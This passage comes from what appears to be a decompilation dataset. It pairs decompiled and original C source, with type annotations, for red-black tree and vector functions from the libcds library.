1;\n}\nreturn result;\n}", "original_code": "static void rbt_ins_recolor(rbt_t* tree, rbt_node_t* node){\n rbt_node_t* parent = node->parent;\n rbt_node_t* grandparent = (parent ? parent->parent : ((void *)0));\n rbt_node_t* uncle = (grandparent ? (parent == grandparent->left ? grandparent->right : grandparent->left) : ((void *)0));\n if(((void *)0) == parent){\n node->color = BLACK;\n }else if(RED == rbt_node_color(parent)){\n if(rbt_node_color(uncle) == RED){\n grandparent->color = RED;\n parent->color = BLACK;\n uncle->color = BLACK;\n rbt_ins_recolor(tree, grandparent);\n }else{\n direction_t node_side = (node == parent->left ? LEFT : RIGHT);\n direction_t parent_side = (parent == grandparent->left ? LEFT : RIGHT);\n if(node_side != parent_side){\n rbt_rotate(tree, parent, parent_side);\n node = parent;\n }\n rbt_ins_rebalance(tree, node, parent_side);\n }\n }\n}", "canonical_original_code": "static void rbt_ins_recolor(struct rbt_t *tree, struct rbt_node_t *node){\n struct rbt_node_t *parent = node->parent;\n struct rbt_node_t *grandparent = (parent ? parent->parent : ((void *)0));\n struct rbt_node_t *uncle = (grandparent ? (parent == grandparent->left ? grandparent->right : grandparent->left) : ((void *)0));\n if(((void *)0) == parent){\n node->color = BLACK;\n }else if(RED == rbt_node_color(parent)){\n if(rbt_node_color(uncle) == RED){\n grandparent->color = RED;\n parent->color = BLACK;\n uncle->color = BLACK;\n rbt_ins_recolor(tree, grandparent);\n }else{\n enum direction_t node_side = (node == parent->left ? LEFT : RIGHT);\n enum direction_t parent_side = (parent == grandparent->left ? LEFT : RIGHT);\n if(node_side != parent_side){\n rbt_rotate(tree, parent, parent_side);\n node = parent;\n }\n rbt_ins_rebalance(tree, node, parent_side);\n }\n }\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "parent", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "grandparent", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "uncle", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ], [ "node_side", "enum direction_t { LEFT=0, RIGHT=1 }" ], [ "parent_side", "enum direction_t { LEFT=0, RIGHT=1 }" ] ], "return_type": "void", "user_defined_types": [ "enum direction_t { LEFT=0, RIGHT=1 }", "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_insert_node", "canonical_name": "func12", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_insert_node(__int64 *a1, __int64 a2, __int64 *a3)\n{\n__int64 result; // rax\n__int64 *v4; // rax\n\nif ( a3 )\n{\nif ( (int)cmp_compare(a1[1], *(_QWORD *)(a2 + 32), a3[4]) >= 0 )\nv4 = a3 + 1;\nelse\nv4 = a3;\nif ( *v4 )\n{\nresult = rbt_insert_node(a1, a2, *v4);\n}\nelse\n{\n*(_QWORD *)(a2 + 16) = a3;\n*v4 = a2;\nresult = rbt_ins_recolor(a1, a2);\n}\n}\nelse\n{\n*a1 = a2;\nresult = rbt_ins_recolor(a1, a2);\n}\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func12(__int64 *a1, __int64 a2, __int64 *a3)\n{\n__int64 result; // rax\n__int64 *v4; // rax\n\nif ( a3 )\n{\nif ( (int)cmp_compare(a1[1], *(_QWORD *)(a2 + 32), a3[4]) >= 0 )\nv4 = a3 + 1;\nelse\nv4 = a3;\nif ( *v4 )\n{\nresult = func12(a1, a2, *v4);\n}\nelse\n{\n*(_QWORD *)(a2 + 16) = a3;\n*v4 = a2;\nresult = func11(a1, a2);\n}\n}\nelse\n{\n*a1 = a2;\nresult = func11(a1, a2);\n}\nreturn result;\n}", "original_code": "static void rbt_insert_node(rbt_t* tree, rbt_node_t* node, rbt_node_t* parent){\n if(((void *)0) == parent){\n tree->root = node;\n rbt_ins_recolor(tree, node);\n }else{\n int c = cmp_compare(tree->comp, node->contents, parent->contents);\n rbt_node_t** relevant_child = (c<0 ? &(parent->left) : &(parent->right));\n if(*relevant_child){\n rbt_insert_node(tree, node, *relevant_child);\n }else{\n node->parent = parent;\n *relevant_child = node;\n rbt_ins_recolor(tree, node);\n }\n }\n}", "canonical_original_code": "static void rbt_insert_node(struct rbt_t *tree, struct rbt_node_t *node, struct rbt_node_t *parent){\n if(((void *)0) == parent){\n tree->root = node;\n rbt_ins_recolor(tree, node);\n }else{\n int c = cmp_compare(tree->comp, node->contents, parent->contents);\n struct rbt_node_t **relevant_child = (c<0 ? &(parent->left) : &(parent->right));\n if(*relevant_child){\n rbt_insert_node(tree, node, *relevant_child);\n }else{\n node->parent = parent;\n *relevant_child = node;\n rbt_ins_recolor(tree, node);\n }\n }\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "parent", "struct rbt_node_t *" ], [ "c", "int" ], [ "relevant_child", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } **" ] ], "return_type": "void", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }", "enum rbt_color_t { RED=0, BLACK=1 }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_insert", "canonical_name": "func13", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_insert(__int64 *a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = rbt_node_new(a2);\nrbt_insert_node(a1, v3, (__int64 *)*a1);\nreturn v3;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func13(__int64 *a1, __int64 a2)\n{\n__int64 v3; // [rsp+18h] [rbp-8h]\n\nv3 = func3(a2);\nfunc12(a1, v3, (__int64 *)*a1);\nreturn v3;\n}", "original_code": "rbt_node_t* rbt_insert(rbt_t* tree, void* value){\n rbt_node_t* new_node = rbt_node_new(value);\n rbt_insert_node(tree, new_node, tree->root);\n return new_node;\n}", "canonical_original_code": "struct rbt_node_t *rbt_insert(struct rbt_t *tree, void *value){\n struct rbt_node_t *new_node = rbt_node_new(value);\n rbt_insert_node(tree, new_node, tree->root);\n return new_node;\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "value", "void *" ], [ "new_node", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_delete_node", "canonical_name": "func14", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_delete_node(_QWORD *a1, __int64 a2)\n{\n__int64 v2; // rax\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = 0LL;\nif ( *(_QWORD *)a2 && *(_QWORD *)(a2 + 8) )\n{\nv4 = rightmost_descendant(*(_QWORD *)a2);\nmem_retain(v4);\nrbt_delete_node(a1, v4);\nif ( *(_QWORD *)a2 )\n*(_QWORD *)(*(_QWORD *)a2 + 16LL) = v4;\nif ( *(_QWORD *)(a2 + 8) )\n*(_QWORD *)(*(_QWORD *)(a2 + 8) + 16LL) = v4;\n*(_QWORD *)v4 = *(_QWORD *)a2;\n*(_QWORD *)(v4 + 8) = *(_QWORD *)(a2 + 8);\n*(_DWORD *)(v4 + 24) = *(_DWORD *)(a2 + 24);\ngoto LABEL_16;\n}\nif ( (unsigned int)rbt_node_color(a2) != 1 )\n{\nLABEL_16:\nrbt_node_replace(a1, a2, (_QWORD *)v4);\ngoto LABEL_17;\n}\nif ( (unsigned int)rbt_node_color(*(_QWORD *)a2) && (unsigned int)rbt_node_color(*(_QWORD *)(a2 + 8)) )\n{\nrbt_del_rebalance(a1, a2);\ngoto LABEL_16;\n}\nif ( *(_QWORD *)a2 )\nv2 = *(_QWORD *)a2;\nelse\nv2 = *(_QWORD *)(a2 + 8);\n*(_DWORD *)(v2 + 24) = 1;\nrbt_node_replace(a1, a2, (_QWORD *)v2);\nLABEL_17:\n*(_QWORD *)a2 = 0LL;\n*(_QWORD *)(a2 + 8) = 0LL;\n*(_QWORD *)(a2 + 16) = 0LL;\nreturn mem_release(a2);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func14(_QWORD *a1, __int64 a2)\n{\n__int64 v2; // rax\n__int64 v4; // [rsp+18h] [rbp-8h]\n\nv4 = 0LL;\nif ( *(_QWORD *)a2 && *(_QWORD *)(a2 + 8) )\n{\nv4 = func7(*(_QWORD *)a2);\nmem_retain(v4);\nfunc14(a1, v4);\nif ( *(_QWORD *)a2 )\n*(_QWORD *)(*(_QWORD *)a2 + 16LL) = v4;\nif ( *(_QWORD *)(a2 + 8) )\n*(_QWORD *)(*(_QWORD *)(a2 + 8) + 16LL) = v4;\n*(_QWORD *)v4 = *(_QWORD *)a2;\n*(_QWORD *)(v4 + 8) = *(_QWORD *)(a2 + 8);\n*(_DWORD *)(v4 + 24) = *(_DWORD *)(a2 + 24);\ngoto LABEL_16;\n}\nif ( (unsigned int)func4(a2) != 1 )\n{\nLABEL_16:\nrbt_node_replace(a1, a2, (_QWORD *)v4);\ngoto LABEL_17;\n}\nif ( (unsigned int)func4(*(_QWORD *)a2) && (unsigned int)func4(*(_QWORD *)(a2 + 8)) )\n{\nrbt_del_rebalance(a1, a2);\ngoto LABEL_16;\n}\nif ( *(_QWORD *)a2 )\nv2 = *(_QWORD *)a2;\nelse\nv2 = *(_QWORD *)(a2 + 8);\n*(_DWORD *)(v2 + 24) = 1;\nrbt_node_replace(a1, a2, (_QWORD *)v2);\nLABEL_17:\n*(_QWORD *)a2 = 0LL;\n*(_QWORD *)(a2 + 8) = 0LL;\n*(_QWORD *)(a2 + 16) = 0LL;\nreturn mem_release(a2);\n}", "original_code": "static void rbt_delete_node(rbt_t* tree, rbt_node_t* node){\n rbt_node_t* descendant = ((void *)0);\n if(node->left && node->right){\n descendant = rightmost_descendant(node->left);\n mem_retain(descendant);\n rbt_delete_node(tree, descendant);\n if(node->left) node->left->parent = descendant;\n if(node->right) node->right->parent = descendant;\n descendant->left = node->left;\n descendant->right = node->right;\n descendant->color = node->color;\n }else if(BLACK == rbt_node_color(node)){\n if(RED == rbt_node_color(node->left) || RED == rbt_node_color(node->right)){\n descendant = node->left ? node->left : node->right;\n descendant->color = BLACK;\n } else {\n rbt_del_rebalance(tree, node);\n }\n }\n rbt_node_replace(tree, node, descendant);\n node->left = ((void *)0);\n node->right = ((void *)0);\n node->parent = ((void *)0);\n mem_release(node);\n}", "canonical_original_code": "static void rbt_delete_node(struct rbt_t *tree, struct rbt_node_t *node){\n struct rbt_node_t *descendant = ((void *)0);\n if(node->left && node->right){\n descendant = rightmost_descendant(node->left);\n mem_retain(descendant);\n rbt_delete_node(tree, descendant);\n if(node->left) node->left->parent = descendant;\n if(node->right) node->right->parent = descendant;\n descendant->left = node->left;\n descendant->right = node->right;\n descendant->color = node->color;\n }else if(BLACK == rbt_node_color(node)){\n if(RED == rbt_node_color(node->left) || RED == rbt_node_color(node->right)){\n descendant = node->left ? node->left : node->right;\n descendant->color = BLACK;\n } else {\n rbt_del_rebalance(tree, node);\n }\n }\n rbt_node_replace(tree, node, descendant);\n node->left = ((void *)0);\n node->right = ((void *)0);\n node->parent = ((void *)0);\n mem_release(node);\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "node", "struct rbt_node_t *" ], [ "descendant", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "void", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" }, { "name": "rbt_delete", "canonical_name": "func15", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall rbt_delete(_QWORD **a1, __int64 a2)\n{\n__int64 result; // rax\n\nresult = rbt_lookup(a1, a2);\nif ( result )\nresult = rbt_delete_node(a1, result);\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func15(_QWORD **a1, __int64 a2)\n{\n__int64 result; // rax\n\nresult = func6(a1, a2);\nif ( result )\nresult = func14(a1, result);\nreturn result;\n}", "original_code": "void rbt_delete(rbt_t* tree, void* value){\n rbt_node_t* doomed = rbt_lookup(tree, value);\n if(doomed) rbt_delete_node(tree, doomed);\n}", "canonical_original_code": "void rbt_delete(struct rbt_t *tree, void *value){\n struct rbt_node_t *doomed = rbt_lookup(tree, value);\n if(doomed) rbt_delete_node(tree, doomed);\n}", "variable_types": [ [ "tree", "struct rbt_t { struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *root; struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); } *comp; } *" ], [ "value", "void *" ], [ "doomed", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t { RED=0, BLACK=1 } color; void *contents; } *" ] ], "return_type": "void", "user_defined_types": [ "struct rbt_t { struct rbt_node_t *root; struct cmp_t *comp; }", "struct rbt_node_t { struct rbt_node_t *left; struct rbt_node_t *right; struct rbt_node_t *parent; enum rbt_color_t color; void *contents; }", "enum rbt_color_t { RED=0, BLACK=1 }", "struct cmp_t { void *env; int (*fn)(void *env, void *obja, void *objb); }" ], "binary_hash": "44ca5f9069fe3d1913640b3c52a82775fa5841787eb976793568377a0691168c" } ]
62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c
mikedlowis/libcds
[ [ "vec_new", "->" ], [ "vec_size", "->", "vec_empty" ], [ "vec_max_size", "->" ], [ "vec_empty", "->", "vec_size" ], [ "vec_next_capacity", "->" ], [ "vec_shrink_to_fit", "->" ], [ "vec_capacity", "->" ], [ "vec_reserve", "->" ], [ "vec_at", "->" ], [ "vec_set", "->" ], [ "vec_insert", "->" ], [ "vec_erase", "->", "vec_free_range" ], [ "vec_pop_back", "->" ], [ "vec_free", "->" ], [ "vec_free_range", "->", "vec_erase" ] ]
[ [ "vec_new", "unsigned __int64 *func0(unsigned __int64 a1, __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\n__int64 v6; // rax\n_QWORD *v7; // rax\ngcc_va_list va; // [rsp+18h] [rbp-D8h] BYREF\nunsigned __int64 *v10; // [rsp+30h] [rbp-C0h]\nunsigned __int64 i; // [rsp+38h] [rbp-B8h]\n__int64 v12; // [rsp+48h] [rbp-A8h]\n__int64 v13; // [rsp+50h] [rbp-A0h]\n__int64 v14; // [rsp+58h] [rbp-98h]\n__int64 v15; // [rsp+60h] [rbp-90h]\n__int64 v16; // [rsp+68h] [rbp-88h]\n\nv12 = a2;\nv13 = a3;\nv14 = a4;\nv15 = a5;\nv16 = a6;\nv10 = (unsigned __int64 *)mem_allocate(24LL, vec_free);\nexn_assert(\"source/vector/vec.c\", 19LL, v10 != 0LL, \"p_vec != NULL\");\n*v10 = a1;\nif ( a1 )\nv6 = a1;\nelse\nv6 = 8LL;\nv10[1] = v6;\nv10[2] = (unsigned __int64)calloc(8uLL, v10[1]);\nexn_assert(\"source/vector/vec.c\", 23LL, v10[2] != 0, \"p_vec->p_buffer != NULL\");\nva[0].gp_offset = 8;\nva_start(va, a6);\nfor ( i = 0LL; i < a1; ++i )\n{\nif ( va[0].gp_offset > 0x2F )\n{\nv7 = va[0].overflow_arg_area;\nva[0].overflow_arg_area = (char *)va[0].overflow_arg_area + 8;\n}\nelse\n{\nv7 = (char *)va[0].reg_save_area + va[0].gp_offset;\nva[0].gp_offset += 8;\n}\n*(_QWORD *)(v10[2] + 8 * i) = *v7;\n}\nreturn v10;\n}" ], [ "vec_insert", "__int64 func10(unsigned __int64 *a1, unsigned __int64 a2, __int64 a3, __int64 a4, __int64 a5, __int64 a6, ...)\n{\n_QWORD *v6; // rax\nunsigned __int64 v9; // [rsp+10h] [rbp-F0h]\ngcc_va_list va; // [rsp+28h] [rbp-D8h] BYREF\nunsigned __int8 v11; // [rsp+4Fh] [rbp-B1h]\n__int64 v12; // [rsp+68h] [rbp-98h]\n__int64 v13; // [rsp+70h] [rbp-90h]\n__int64 v14; // [rsp+78h] [rbp-88h]\n\nv9 = a2;\nv12 = a4;\nv13 = a5;\nv14 = a6;\nv11 = 0;\nif ( a2 < *a1 && a3 )\n{\nvec_resize(a1, *a1 + a3, 0LL);\nmemmove((void *)(a1[2] + 8 * (a2 + a3)), (const void *)(8 * a2 + a1[2]), 8 * (*a1 - a2));\nva[0].gp_offset = 24;\nva_start(va, a6);\nwhile ( v9 < a2 + a3 )\n{\nif ( va[0].gp_offset > 0x2F )\n{\nv6 = va[0].overflow_arg_area;\nva[0].overflow_arg_area = (char *)va[0].overflow_arg_area + 8;\n}\nelse\n{\nv6 = (char *)va[0].reg_save_area + va[0].gp_offset;\nva[0].gp_offset += 8;\n}\n*(_QWORD *)(a1[2] + 8 * v9++) = *v6;\n}\nv11 = 1;\n}\nreturn v11;\n}" ] ]
[ { "name": "vec_size", "canonical_name": "func1", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_size(__int64 a1)\n{\nexn_assert(\"source/vector/vec.c\", 38LL, a1 != 0, \"NULL != p_vec\");\nreturn *(_QWORD *)a1;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func1(__int64 a1)\n{\nexn_assert(\"source/vector/vec.c\", 38LL, a1 != 0, \"NULL != p_vec\");\nreturn *(_QWORD *)a1;\n}", "original_code": "size_t vec_size(vec_t* p_vec)\n{\n exn_assert(\"source/vector/vec.c\",38,((void *)0) != p_vec,\"NULL != p_vec\");\n return p_vec->size;\n}", "canonical_original_code": "unsigned long vec_size(struct vec_t *p_vec)\n{\n exn_assert(\"source/vector/vec.c\",38,((void *)0) != p_vec,\"NULL != p_vec\");\n return p_vec->size;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_max_size", "canonical_name": "func2", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 vec_max_size()\n{\nreturn -1LL;\n}\n", "canonical_decompiled_code": "__int64 func2()\n{\nreturn -1LL;\n}", "original_code": "size_t vec_max_size(void)\n{\n return (size_t)-1;\n}", "canonical_original_code": "unsigned long vec_max_size()\n{\n return (unsigned long)-1;\n}", "variable_types": [], "return_type": "unsigned long", "user_defined_types": [], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_empty", "canonical_name": "func3", "repo": "mikedlowis/libcds", "decompiled_code": "bool __fastcall vec_empty(__int64 a1)\n{\nexn_assert(\"source/vector/vec.c\", 49LL, a1 != 0, \"NULL != p_vec\");\nreturn vec_size(a1) == 0;\n}\n", "canonical_decompiled_code": "bool __fastcall func3(__int64 a1)\n{\nexn_assert(\"source/vector/vec.c\", 49LL, a1 != 0, \"NULL != p_vec\");\nreturn func1(a1) == 0;\n}", "original_code": "_Bool vec_empty(vec_t* p_vec)\n{\n exn_assert(\"source/vector/vec.c\",49,((void *)0) != p_vec,\"NULL != p_vec\");\n return (0 == vec_size(p_vec));\n}", "canonical_original_code": "_Bool vec_empty(struct vec_t *p_vec)\n{\n exn_assert(\"source/vector/vec.c\",49,((void *)0) != p_vec,\"NULL != p_vec\");\n return (0 == vec_size(p_vec));\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ] ], "return_type": "_Bool", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_next_capacity", "canonical_name": "func4", "repo": "mikedlowis/libcds", "decompiled_code": "unsigned __int64 __fastcall vec_next_capacity(__int64 a1)\n{\nunsigned __int64 i; // [rsp+18h] [rbp-10h]\nunsigned __int64 v3; // [rsp+20h] [rbp-8h]\n\nv3 = a1 - 1;\nfor ( i = 1LL; i < 0x40; i *= 2LL )\nv3 |= v3 >> i;\nreturn v3 + 1;\n}\n", "canonical_decompiled_code": "unsigned __int64 __fastcall func4(__int64 a1)\n{\nunsigned __int64 i; // [rsp+18h] [rbp-10h]\nunsigned __int64 v3; // [rsp+20h] [rbp-8h]\n\nv3 = a1 - 1;\nfor ( i = 1LL; i < 0x40; i *= 2LL )\nv3 |= v3 >> i;\nreturn v3 + 1;\n}", "original_code": "size_t vec_next_capacity(size_t req_size)\n{\n size_t next_power = req_size;\n size_t num_bits = sizeof(size_t) * 8;\n size_t bit_n;\n next_power--;\n for (bit_n = 1; bit_n < num_bits; bit_n = bit_n << 1)\n {\n next_power = next_power | (next_power >> bit_n);\n }\n next_power++;\n return next_power;\n}", "canonical_original_code": "unsigned long vec_next_capacity(unsigned long req_size)\n{\n unsigned long next_power = req_size;\n unsigned long num_bits = sizeof(size_t) * 8;\n unsigned long bit_n;\n next_power--;\n for (bit_n = 1; bit_n < num_bits; bit_n = bit_n << 1)\n {\n next_power = next_power | (next_power >> bit_n);\n }\n next_power++;\n return next_power;\n}", "variable_types": [ [ "req_size", "unsigned long" ], [ "next_power", "unsigned long" ], [ "num_bits", "unsigned long" ], [ "bit_n", "unsigned long" ] ], "return_type": "unsigned long", "user_defined_types": [], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_shrink_to_fit", "canonical_name": "func5", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_shrink_to_fit(__int64 a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 92LL, a1 != 0, \"NULL != p_vec\");\n*(_QWORD *)(a1 + 16) = realloc(*(void **)(a1 + 16), 8LL * *(_QWORD *)a1);\nexn_assert(\"source/vector/vec.c\", 94LL, *(_QWORD *)(a1 + 16) != 0LL, \"p_vec->p_buffer != NULL\");\nresult = a1;\n*(_QWORD *)(a1 + 8) = *(_QWORD *)a1;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func5(__int64 a1)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 92LL, a1 != 0, \"NULL != p_vec\");\n*(_QWORD *)(a1 + 16) = realloc(*(void **)(a1 + 16), 8LL * *(_QWORD *)a1);\nexn_assert(\"source/vector/vec.c\", 94LL, *(_QWORD *)(a1 + 16) != 0LL, \"p_vec->p_buffer != NULL\");\nresult = a1;\n*(_QWORD *)(a1 + 8) = *(_QWORD *)a1;\nreturn result;\n}", "original_code": "void vec_shrink_to_fit(vec_t* p_vec)\n{\n exn_assert(\"source/vector/vec.c\",92,((void *)0) != p_vec,\"NULL != p_vec\");\n p_vec->p_buffer = realloc( p_vec->p_buffer, sizeof(void*) * p_vec->size );\n exn_assert(\"source/vector/vec.c\",94,p_vec->p_buffer != ((void *)0),\"p_vec->p_buffer != NULL\");\n p_vec->capacity = p_vec->size;\n}", "canonical_original_code": "void vec_shrink_to_fit(struct vec_t *p_vec)\n{\n exn_assert(\"source/vector/vec.c\",92,((void *)0) != p_vec,\"NULL != p_vec\");\n p_vec->p_buffer = realloc( p_vec->p_buffer, sizeof(void *) * p_vec->size );\n exn_assert(\"source/vector/vec.c\",94,p_vec->p_buffer != ((void *)0),\"p_vec->p_buffer != NULL\");\n p_vec->capacity = p_vec->size;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ] ], "return_type": "void", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_capacity", "canonical_name": "func6", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_capacity(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 8);\n}\n", "canonical_decompiled_code": "__int64 __fastcall func6(__int64 a1)\n{\nreturn *(_QWORD *)(a1 + 8);\n}", "original_code": "size_t vec_capacity(vec_t* p_vec)\n{\n return p_vec->capacity;\n}", "canonical_original_code": "unsigned long vec_capacity(struct vec_t *p_vec)\n{\n return p_vec->capacity;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ] ], "return_type": "unsigned long", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_reserve", "canonical_name": "func7", "repo": "mikedlowis/libcds", "decompiled_code": "__int64 __fastcall vec_reserve(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 105LL, a1 != 0, \"p_vec != NULL\");\n*(_QWORD *)(a1 + 16) = realloc(*(void **)(a1 + 16), 8 * a2);\nexn_assert(\"source/vector/vec.c\", 107LL, *(_QWORD *)(a1 + 16) != 0LL, \"p_vec->p_buffer != NULL\");\nresult = a1;\n*(_QWORD *)(a1 + 8) = a2;\nreturn result;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func7(__int64 a1, __int64 a2)\n{\n__int64 result; // rax\n\nexn_assert(\"source/vector/vec.c\", 105LL, a1 != 0, \"p_vec != NULL\");\n*(_QWORD *)(a1 + 16) = realloc(*(void **)(a1 + 16), 8 * a2);\nexn_assert(\"source/vector/vec.c\", 107LL, *(_QWORD *)(a1 + 16) != 0LL, \"p_vec->p_buffer != NULL\");\nresult = a1;\n*(_QWORD *)(a1 + 8) = a2;\nreturn result;\n}", "original_code": "void vec_reserve(vec_t* p_vec, size_t size)\n{\n exn_assert(\"source/vector/vec.c\",105,p_vec != ((void *)0),\"p_vec != NULL\");\n p_vec->p_buffer = realloc( p_vec->p_buffer, sizeof(void*) * size );\n exn_assert(\"source/vector/vec.c\",107,p_vec->p_buffer != ((void *)0),\"p_vec->p_buffer != NULL\");\n p_vec->capacity = size;\n}", "canonical_original_code": "void vec_reserve(struct vec_t *p_vec, unsigned long size)\n{\n exn_assert(\"source/vector/vec.c\",105,p_vec != ((void *)0),\"p_vec != NULL\");\n p_vec->p_buffer = realloc( p_vec->p_buffer, sizeof(void *) * size );\n exn_assert(\"source/vector/vec.c\",107,p_vec->p_buffer != ((void *)0),\"p_vec->p_buffer != NULL\");\n p_vec->capacity = size;\n}", "variable_types": [ [ "p_vec", "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; } *" ], [ "size", "unsigned long" ] ], "return_type": "void", "user_defined_types": [ "struct vec_t { unsigned long size; unsigned long capacity; void **p_buffer; }" ], "binary_hash": "62f205d9a1ad7fbe64e1cdb611230bebf0e4fc0094344258401c521c6b6baa2c" }, { "name": "vec_at", "canonical_name": 